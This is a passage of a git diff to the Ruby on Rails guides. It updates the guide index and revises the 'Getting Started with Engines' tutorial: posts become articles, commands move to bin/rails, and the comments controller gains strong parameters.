+ description: This guide explains the internals of the Rails initialization process as of Rails 4
-
name: Extending Rails
documents:
@@ -147,14 +154,28 @@
url: ruby_on_rails_guides_guidelines.html
description: This guide documents the Ruby on Rails guides guidelines.
-
+ name: Maintenance Policy
+ documents:
+ -
+ name: Maintenance Policy
+ url: maintenance_policy.html
+ description: What versions of Ruby on Rails are currently supported, and when to expect new versions.
+-
name: Release Notes
documents:
-
name: Upgrading Ruby on Rails
url: upgrading_ruby_on_rails.html
- work_in_progress: true
description: This guide helps in upgrading applications to latest Ruby on Rails versions.
-
+ name: Ruby on Rails 4.2 Release Notes
+ url: 4_2_release_notes.html
+ description: Release notes for Rails 4.2.
+ -
+ name: Ruby on Rails 4.1 Release Notes
+ url: 4_1_release_notes.html
+ description: Release notes for Rails 4.1.
+ -
name: Ruby on Rails 4.0 Release Notes
url: 4_0_release_notes.html
description: Release notes for Rails 4.0.
diff --git a/guides/source/engines.md b/guides/source/engines.md
index 116a7e67cd..a1f2da18ed 100644
--- a/guides/source/engines.md
+++ b/guides/source/engines.md
@@ -1,7 +1,9 @@
Getting Started with Engines
============================
-In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface.
+In this guide you will learn about engines and how they can be used to provide
+additional functionality to their host applications through a clean and very
+easy-to-use interface.
After reading this guide, you will know:
@@ -16,26 +18,60 @@ After reading this guide, you will know:
What are engines?
-----------------
-Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behaviour from `Rails::Engine`.
-
-Therefore, engines and applications can be thought of almost the same thing, just with very minor differences, as you'll see throughout this guide. Engines and applications also share a common structure.
-
-Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine.
-
-The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.
-
-Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
-
-It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
-
-To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/resolve/refinerycms), a CMS engine.
-
-Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
+Engines can be considered miniature applications that provide functionality to
+their host applications. A Rails application is actually just a "supercharged"
+engine, with the `Rails::Application` class inheriting a lot of its behavior
+from `Rails::Engine`.
+
+Therefore, engines and applications can be thought of almost the same thing,
+just with subtle differences, as you'll see throughout this guide. Engines and
+applications also share a common structure.
+
+Engines are also closely related to plugins. The two share a common `lib`
+directory structure, and are both generated using the `rails plugin new`
+generator. The difference is that an engine is considered a "full plugin" by
+Rails (as indicated by the `--full` option that's passed to the generator
+command). We'll actually be using the `--mountable` option here, which includes
+all the features of `--full`, and then some. This guide will refer to these
+"full plugins" simply as "engines" throughout. An engine **can** be a plugin,
+and a plugin **can** be an engine.
+
+The engine that will be created in this guide will be called "blorgh". This
+engine will provide blogging functionality to its host applications, allowing
+for new articles and comments to be created. At the beginning of this guide, you
+will be working solely within the engine itself, but in later sections you'll
+see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an
+application is able to have a path provided by a routing helper such as
+`articles_path` and use an engine also that provides a path also called
+`articles_path`, and the two would not clash. Along with this, controllers, models
+and table names are also namespaced. You'll see how to do this later in this
+guide.
+
+It's important to keep in mind at all times that the application should
+**always** take precedence over its engines. An application is the object that
+has final say in what goes on in its environment. The engine should
+only be enhancing it, rather than changing it drastically.
+
+To see demonstrations of other engines, check out
+[Devise](https://github.com/plataformatec/devise), an engine that provides
+authentication for its parent applications, or
+[Forem](https://github.com/radar/forem), an engine that provides forum
+functionality. There's also [Spree](https://github.com/spree/spree) which
+provides an e-commerce platform, and
+[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
+
+Finally, engines would not have been possible without the work of James Adam,
+Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever
+meet them, don't forget to say thanks!
Generating an engine
--------------------
-To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:
+To generate an engine, you will need to run the plugin generator and pass it
+options as appropriate to the need. For the "blorgh" example, you will need to
+create a "mountable" engine, running this command in a terminal:
```bash
$ rails plugin new blorgh --mountable
@@ -47,7 +83,11 @@ The full list of options for the plugin generator may be seen by typing:
$ rails plugin --help
```
-The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following:
+The `--mountable` option tells the generator that you want to create a
+"mountable" and namespace-isolated engine. This generator will provide the same
+skeleton structure as would the `--full` option. The `--full` option tells the
+generator that you want to create an engine, including a skeleton structure
+that provides the following:
* An `app` directory tree
* A `config/routes.rb` file:
@@ -56,8 +96,10 @@ The `--full` option tells the generator that you want to create an engine, inclu
Rails.application.routes.draw do
end
```
- * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file:
-
+
+ * A file at `lib/blorgh/engine.rb`, which is identical in function to a
+ standard Rails application's `config/application.rb` file:
+
```ruby
module Blorgh
class Engine < ::Rails::Engine
@@ -65,19 +107,19 @@ The `--full` option tells the generator that you want to create an engine, inclu
end
```
-The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add:
+The `--mountable` option will add to the `--full` option:
* Asset manifest files (`application.js` and `application.css`)
* A namespaced `ApplicationController` stub
* A namespaced `ApplicationHelper` stub
* A layout view template for the engine
* Namespace isolation to `config/routes.rb`:
-
+
```ruby
Blorgh::Engine.routes.draw do
end
```
-
+
* Namespace isolation to `lib/blorgh/engine.rb`:
```ruby
@@ -88,23 +130,32 @@ The `--mountable` option tells the generator that you want to create a "mountabl
end
```
-Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`:
+Additionally, the `--mountable` option tells the generator to mount the engine
+inside the dummy testing application located at `test/dummy` by adding the
+following to the dummy application's routes file at
+`test/dummy/config/routes.rb`:
```ruby
-mount Blorgh::Engine, at: "blorgh"
+mount Blorgh::Engine => "/blorgh"
```
-### Inside an engine
+### Inside an Engine
-#### Critical files
+#### Critical Files
-At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`:
+At the root of this brand new engine's directory lives a `blorgh.gemspec` file.
+When you include the engine into an application later on, you will do so with
+this line in the Rails application's `Gemfile`:
```ruby
gem 'blorgh', path: "vendor/engines/blorgh"
```
-By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`.
+Don't forget to run `bundle install` as usual. By specifying it as a gem within
+the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file
+and requiring a file within the `lib` directory called `lib/blorgh.rb`. This
+file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`)
+and defines a base module called `Blorgh`.
```ruby
require "blorgh/engine"
@@ -113,55 +164,109 @@ module Blorgh
end
```
-TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go.
+TIP: Some engines choose to use this file to put global configuration options
+for their engine. It's a relatively good idea, so if you want to offer
+configuration options, the file where your engine's `module` is defined is
+perfect for that. Place the methods inside the module and you'll be good to go.
Within `lib/blorgh/engine.rb` is the base class for the engine:
```ruby
module Blorgh
- class Engine < Rails::Engine
+ class Engine < ::Rails::Engine
isolate_namespace Blorgh
end
end
```
-By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views.
-
-The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers.
-
-NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application.
-
-What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well.
-
-Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide.
-
-#### `app` directory
-
-Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
-
-Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
-
-Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
-
-NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.
-
-Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file.
-
-If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
-
-#### `script` directory
-
-This directory contains one file, `script/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
+By inheriting from the `Rails::Engine` class, this gem notifies Rails that
+there's an engine at the specified path, and will correctly mount the engine
+inside the application, performing tasks such as adding the `app` directory of
+the engine to the load path for models, mailers, controllers and views.
+
+The `isolate_namespace` method here deserves special notice. This call is
+responsible for isolating the controllers, models, routes and other things into
+their own namespace, away from similar components inside the application.
+Without this, there is a possibility that the engine's components could "leak"
+into the application, causing unwanted disruption, or that important engine
+components could be overridden by similarly named things within the application.
+One of the examples of such conflicts is helpers. Without calling
+`isolate_namespace`, the engine's helpers would be included in an application's
+controllers.
+
+NOTE: It is **highly** recommended that the `isolate_namespace` line be left
+within the `Engine` class definition. Without it, classes generated in an engine
+**may** conflict with an application.
+
+What this isolation of the namespace means is that a model generated by a call
+to `bin/rails g model`, such as `bin/rails g model article`, won't be called `Article`, but
+instead be namespaced and called `Blorgh::Article`. In addition, the table for the
+model is namespaced, becoming `blorgh_articles`, rather than simply `articles`.
+Similar to the model namespacing, a controller called `ArticlesController` becomes
+`Blorgh::ArticlesController` and the views for that controller will not be at
+`app/views/articles`, but `app/views/blorgh/articles` instead. Mailers are namespaced
+as well.
+
+Finally, routes will also be isolated within the engine. This is one of the most
+important parts about namespacing, and is discussed later in the
+[Routes](#routes) section of this guide.
+
+#### `app` Directory
+
+Inside the `app` directory are the standard `assets`, `controllers`, `helpers`,
+`mailers`, `models` and `views` directories that you should be familiar with
+from an application. The `helpers`, `mailers` and `models` directories are
+empty, so they aren't described in this section. We'll look more into models in
+a future section, when we're writing the engine.
+
+Within the `app/assets` directory, there are the `images`, `javascripts` and
+`stylesheets` directories which, again, you should be familiar with due to their
+similarity to an application. One difference here, however, is that each
+directory contains a sub-directory with the engine name. Because this engine is
+going to be namespaced, its assets should be too.
+
+Within the `app/controllers` directory there is a `blorgh` directory that
+contains a file called `application_controller.rb`. This file will provide any
+common functionality for the controllers of the engine. The `blorgh` directory
+is where the other controllers for the engine will go. By placing them within
+this namespaced directory, you prevent them from possibly clashing with
+identically-named controllers within other engines or even within the
+application.
+
+NOTE: The `ApplicationController` class inside an engine is named just like a
+Rails application in order to make it easier for you to convert your
+applications into engines.
+
+Lastly, the `app/views` directory contains a `layouts` folder, which contains a
+file at `blorgh/application.html.erb`. This file allows you to specify a layout
+for the engine. If this engine is to be used as a stand-alone engine, then you
+would add any customization to its layout in this file, rather than the
+application's `app/views/layouts/application.html.erb` file.
+
+If you don't want to force a layout on to users of the engine, then you can
+delete this file and reference a different layout in the controllers of your
+engine.
+
+#### `bin` Directory
+
+This directory contains one file, `bin/rails`, which enables you to use the
+`rails` sub-commands and generators just like you would within an application.
+This means that you will be able to generate new controllers and models for this
+engine very easily by running commands like this:
```bash
-rails g model
+$ bin/rails g model
```
-Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced.
+Keep in mind, of course, that anything generated with these commands inside of
+an engine that has `isolate_namespace` in the `Engine` class will be namespaced.
-#### `test` directory
+#### `test` Directory
-The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file:
+The `test` directory is where tests for the engine will go. To test the engine,
+there is a cut-down version of a Rails application embedded within it at
+`test/dummy`. This application will mount the engine in the
+`test/dummy/config/routes.rb` file:
```ruby
Rails.application.routes.draw do
@@ -169,130 +274,184 @@ Rails.application.routes.draw do
end
```
-This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path.
+This line mounts the engine at the path `/blorgh`, which will make it accessible
+through the application only at that path.
-Also in the test directory is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory also. For example, you may wish to create a `test/models` directory for your models tests.
+Inside the test directory there is the `test/integration` directory, where
+integration tests for the engine should be placed. Other directories can be
+created in the `test` directory as well. For example, you may wish to create a
+`test/models` directory for your model tests.
Providing engine functionality
------------------------------
-The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists.
+The engine that this guide covers provides submitting articles and commenting
+functionality and follows a similar thread to the [Getting Started
+Guide](getting_started.html), with some new twists.
-### Generating a post resource
+### Generating an Article Resource
-The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator.
+The first thing to generate for a blog engine is the `Article` model and related
+controller. To quickly generate this, you can use the Rails scaffold generator.
```bash
-$ rails generate scaffold post title:string text:text
+$ bin/rails generate scaffold article title:string text:text
```
This command will output this information:
```
invoke active_record
-create db/migrate/[timestamp]_create_blorgh_posts.rb
-create app/models/blorgh/post.rb
+create db/migrate/[timestamp]_create_blorgh_articles.rb
+create app/models/blorgh/article.rb
invoke test_unit
-create test/models/blorgh/post_test.rb
-create test/fixtures/blorgh/posts.yml
- route resources :posts
+create test/models/blorgh/article_test.rb
+create test/fixtures/blorgh/articles.yml
+invoke resource_route
+ route resources :articles
invoke scaffold_controller
-create app/controllers/blorgh/posts_controller.rb
+create app/controllers/blorgh/articles_controller.rb
invoke erb
-create app/views/blorgh/posts
-create app/views/blorgh/posts/index.html.erb
-create app/views/blorgh/posts/edit.html.erb
-create app/views/blorgh/posts/show.html.erb
-create app/views/blorgh/posts/new.html.erb
-create app/views/blorgh/posts/_form.html.erb
+create app/views/blorgh/articles
+create app/views/blorgh/articles/index.html.erb
+create app/views/blorgh/articles/edit.html.erb
+create app/views/blorgh/articles/show.html.erb
+create app/views/blorgh/articles/new.html.erb
+create app/views/blorgh/articles/_form.html.erb
invoke test_unit
-create test/controllers/blorgh/posts_controller_test.rb
+create test/controllers/blorgh/articles_controller_test.rb
invoke helper
-create app/helpers/blorgh/posts_helper.rb
-invoke test_unit
-create test/helpers/blorgh/posts_helper_test.rb
+create app/helpers/blorgh/articles_helper.rb
invoke assets
invoke js
-create app/assets/javascripts/blorgh/posts.js
+create app/assets/javascripts/blorgh/articles.js
invoke css
-create app/assets/stylesheets/blorgh/posts.css
+create app/assets/stylesheets/blorgh/articles.css
invoke css
create app/assets/stylesheets/scaffold.css
```
-The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class.
+The first thing that the scaffold generator does is invoke the `active_record`
+generator, which generates a migration and a model for the resource. Note here,
+however, that the migration is called `create_blorgh_articles` rather than the
+usual `create_articles`. This is due to the `isolate_namespace` method called in
+the `Blorgh::Engine` class's definition. The model here is also namespaced,
+being placed at `app/models/blorgh/article.rb` rather than `app/models/article.rb` due
+to the `isolate_namespace` call within the `Engine` class.
-Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`).
+Next, the `test_unit` generator is invoked for this model, generating a model
+test at `test/models/blorgh/article_test.rb` (rather than
+`test/models/article_test.rb`) and a fixture at `test/fixtures/blorgh/articles.yml`
+(rather than `test/fixtures/articles.yml`).
-After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this:
+After that, a line for the resource is inserted into the `config/routes.rb` file
+for the engine. This line is simply `resources :articles`, turning the
+`config/routes.rb` file for the engine into this:
```ruby
Blorgh::Engine.routes.draw do
- resources :posts
+ resources :articles
end
```
-Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the [Routes](#routes) section of this guide.
+Note here that the routes are drawn upon the `Blorgh::Engine` object rather than
+the `YourApp::Application` class. This is so that the engine routes are confined
+to the engine itself and can be mounted at a specific point as shown in the
+[test directory](#test-directory) section. It also causes the engine's routes to
+be isolated from those routes that are within the application. The
+[Routes](#routes) section of this guide describes it in detail.
-Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`).
+Next, the `scaffold_controller` generator is invoked, generating a controller
+called `Blorgh::ArticlesController` (at
+`app/controllers/blorgh/articles_controller.rb`) and its related views at
+`app/views/blorgh/articles`. This generator also generates a test for the
+controller (`test/controllers/blorgh/articles_controller_test.rb`) and a helper
+(`app/helpers/blorgh/articles_controller.rb`).
-Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module:
+Everything this generator has created is neatly namespaced. The controller's
+class is defined within the `Blorgh` module:
```ruby
module Blorgh
- class PostsController < ApplicationController
+ class ArticlesController < ApplicationController
...
end
end
```
-NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`.
+NOTE: The `ApplicationController` class being inherited from here is the
+`Blorgh::ApplicationController`, not an application's `ApplicationController`.
-The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced:
+The helper inside `app/helpers/blorgh/articles_helper.rb` is also namespaced:
```ruby
module Blorgh
- class PostsHelper
+ module ArticlesHelper
...
end
end
```
-This helps prevent conflicts with any other engine or application that may have a post resource also.
+This helps prevent conflicts with any other engine or application that may have
+an article resource as well.
-Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/javascripts/blorgh/posts.css`. You'll see how to use these a little later.
+Finally, the assets for this resource are generated in two files:
+`app/assets/javascripts/blorgh/articles.js` and
+`app/assets/stylesheets/blorgh/articles.css`. You'll see how to use these a little
+later.
-By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout:
+By default, the scaffold styling is not applied to the engine because the
+engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't
+load it. To make the scaffold styling apply, insert this line into the `<head>`
+tag of this layout:
```erb
<%= stylesheet_link_tag "scaffold" %>
```
-You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
+You can see what the engine has so far by running `rake db:migrate` at the root
+of our engine to run the migration generated by the scaffold generator, and then
+running `rails server` in `test/dummy`. When you open
+`http://localhost:3000/blorgh/articles` you will see the default scaffold that has
+been generated. Click around! You've just generated your first engine's first
+functions.
-If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`.
+If you'd rather play around in the console, `rails console` will also work just
+like a Rails application. Remember: the `Article` model is namespaced, so to
+reference it you must call it as `Blorgh::Article`.
```ruby
->> Blorgh::Post.find(1)
-=> #<Blorgh::Post id: 1 ...>
+>> Blorgh::Article.find(1)
+=> #<Blorgh::Article id: 1 ...>
```
-One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine:
+One final thing is that the `articles` resource for this engine should be the root
+of the engine. Whenever someone goes to the root path where the engine is
+mounted, they should be shown a list of articles. This can be made to happen if
+this line is inserted into the `config/routes.rb` file inside the engine:
```ruby
-root to: "posts#index"
+root to: "articles#index"
```
-Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now.
+Now people will only need to go to the root of the engine to see all the articles,
+rather than visiting `/articles`. This means that instead of
+`http://localhost:3000/blorgh/articles`, you only need to go to
+`http://localhost:3000/blorgh` now.
-### Generating a comments resource
+### Generating a Comments Resource
-Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
+Now that the engine can create new articles, it only makes sense to add
+commenting functionality as well. To do this, you'll need to generate a comment
+model, a comment controller and then modify the articles scaffold to display
+comments and allow people to create new ones.
-Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column.
+From the application root, run the model generator. Tell it to generate a
+`Comment` model, with the related table having two columns: a `article_id` integer
+and `text` text column.
```bash
-$ rails generate model Comment post_id:integer text:text
+$ bin/rails generate model Comment article_id:integer text:text
```
This will output the following:
@@ -306,16 +465,26 @@ create test/models/blorgh/comment_test.rb
create test/fixtures/blorgh/comments.yml
```
-This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`.
+This generator call will generate just the necessary model files it needs,
+namespacing the files under a `blorgh` directory and creating a model class
+called `Blorgh::Comment`. Now run the migration to create our blorgh_comments
+table:
+
+```bash
+$ rake db:migrate
+```
-To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link:
+To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and
+add this line before the "Edit" link:
```html+erb
<h3>Comments</h3>
-<%= render @post.comments %>
+<%= render @article.comments %>
```
-This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model:
+This line will require there to be a `has_many` association for comments defined
+on the `Blorgh::Article` model, which there isn't right now. To define one, open
+`app/models/blorgh/article.rb` and add this line into the model:
```ruby
has_many :comments
@@ -325,47 +494,58 @@ Turning the model into this:
```ruby
module Blorgh
- class Post < ActiveRecord::Base
+ class Article < ActiveRecord::Base
has_many :comments
end
end
```
-NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here.
+NOTE: Because the `has_many` is defined inside a class that is inside the
+`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment`
+model for these objects, so there's no need to specify that using the
+`:class_name` option here.
-Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`:
+Next, there needs to be a form so that comments can be created on an article. To
+add this, put this line underneath the call to `render @article.comments` in
+`app/views/blorgh/articles/show.html.erb`:
```erb
<%= render "blorgh/comments/form" %>
```
-Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial:
+Next, the partial that this line will render needs to exist. Create a new
+directory at `app/views/blorgh/comments` and in it a new file called
+`_form.html.erb` which has this content to create the required partial:
```html+erb
<h3>New comment</h3>
-<%= form_for [@post, @post.comments.build] do |f| %>
+<%= form_for [@article, @article.comments.build] do |f| %>
<p>
- <%= f.label :text %><br />
+ <%= f.label :text %><br>
<%= f.text_area :text %>
</p>
<%= f.submit %>
<% end %>
```
-When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines:
+When this form is submitted, it is going to attempt to perform a `POST` request
+to a route of `/articles/:article_id/comments` within the engine. This route doesn't
+exist at the moment, but can be created by changing the `resources :articles` line
+inside `config/routes.rb` into these lines:
```ruby
-resources :posts do
+resources :articles do
resources :comments
end
```
This creates a nested route for the comments, which is what the form requires.
-The route now exists, but the controller that this route goes to does not. To create it, run this command:
+The route now exists, but the controller that this route goes to does not. To
+create it, run this command from the application root:
```bash
-$ rails g controller comments
+$ bin/rails g controller comments
```
This will generate the following things:
@@ -378,8 +558,6 @@ invoke test_unit
create test/controllers/blorgh/comments_controller_test.rb
invoke helper
create app/helpers/blorgh/comments_helper.rb
-invoke test_unit
-create test/helpers/blorgh/comments_helper_test.rb
invoke assets
invoke js
create app/assets/javascripts/blorgh/comments.js
@@ -387,141 +565,229 @@ invoke css
create app/assets/stylesheets/blorgh/comments.css
```
-The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+The form will be making a `POST` request to `/articles/:article_id/comments`, which
+will correspond with the `create` action in `Blorgh::CommentsController`. This
+action needs to be created, which can be done by putting the following lines
+inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
```ruby
def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
+ @article = Article.find(params[:article_id])
+ @comment = @article.comments.create(comment_params)
flash[:notice] = "Comment has been created!"
- redirect_to post_path
+ redirect_to articles_path
end
+
+private
+ def comment_params
+ params.require(:comment).permit(:text)
+ end
```
-This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
+This is the final step required to get the new comment form working. Displaying
+the comments, however, is not quite right yet. If you were to create a comment
+right now, you would see this error:
```
-Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
- * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
- * "/Users/ryan/Sites/side_projects/blorgh/app/views"
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder],
+:formats=>[:html], :locale=>[:en, :en]}. Searched in: *
+"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" *
+"/Users/ryan/Sites/side_projects/blorgh/app/views"
```
-The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class.
+The engine is unable to find the partial required for rendering the comments.
+Rails looks first in the application's (`test/dummy`) `app/views` directory and
+then in the engine's `app/views` directory. When it can't find it, it will throw
+this error. The engine knows to look for `blorgh/comments/comment` because the
+model object it is receiving is from the `Blorgh::Comment` class.
-This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it:
+This partial will be responsible for rendering just the comment text, for now.
+Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this
+line inside it:
```erb
<%= comment_counter + 1 %>. <%= comment.text %>
```
-The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
+The `comment_counter` local variable is given to us by the `<%= render
+@article.comments %>` call, which will define it automatically and increment the
+counter as it iterates through each comment. It's used in this example to
+display a small number next to each comment when it's created.
-That completes the comment function of the blogging engine. Now it's time to use it within an application.
+That completes the comment function of the blogging engine. Now it's time to use
+it within an application.
-Hooking into an application
+Hooking Into an Application
---------------------------
